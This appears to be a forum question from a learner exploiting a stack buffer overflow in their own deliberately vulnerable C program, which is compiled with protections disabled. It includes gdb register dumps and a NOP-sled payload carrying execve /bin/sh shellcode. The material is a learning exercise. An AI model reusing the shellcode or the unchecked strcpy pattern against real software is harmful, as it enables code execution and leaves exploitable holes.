for few days I'm working on a C buffer overflow on my wsl ubuntu. My vulnerable code is
#include <stdio.h>
#include <string.h>
void overflow_me(char* dizi){
char buff_array[100];
strcpy(buff_array,dizi);
printf("Hosgeldin %s",buff_array);
}
int main(int argc, char *argv[]){
overflow_me(argv[1]);
return 0;
}
I compiled my code withgcc -g -o overflow overflow.c -m32 -fno-stack-protector -fno-pie -z execstack -mpreferred-stack-boundary=2
then I tried to overflow with gdb. I run run $(python3 -c 'print ("\x41"*100+"A"*4+"E"*4)')
command in gdb. And I could overwrite eip and ebp registers successfully.
eax 0x76 118
ecx 0x0 0
edx 0x56557014 1448439828
ebx 0x0 0
esp 0xffffd124 0xffffd124
ebp 0x41414141 0x41414141
esi 0xf7fb7000 -134516736
edi 0xf7fb7000 -134516736
eip 0x45454545 0x45454545
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
then I tried it like [nop-sled][shellcode][bunch of E's] run $(python3 -c 'print ("\x90"*63+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"E"*20)')
. However, I think nop sled crashes something because after this command my registers became :
eax 0xbf 191
ecx 0x0 0
edx 0x56557014 1448439828
ebx 0x0 0
esp 0xffffd0d4 0xffffd0d4
ebp 0x90c290c2 0x90c290c2
esi 0xf7fb7000 -134516736
edi 0xf7fb7000 -134516736
eip 0x90c290c2 0x90c290c2
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Why I can't overwrite the eip when I run it with nop sled and how can I fix it ?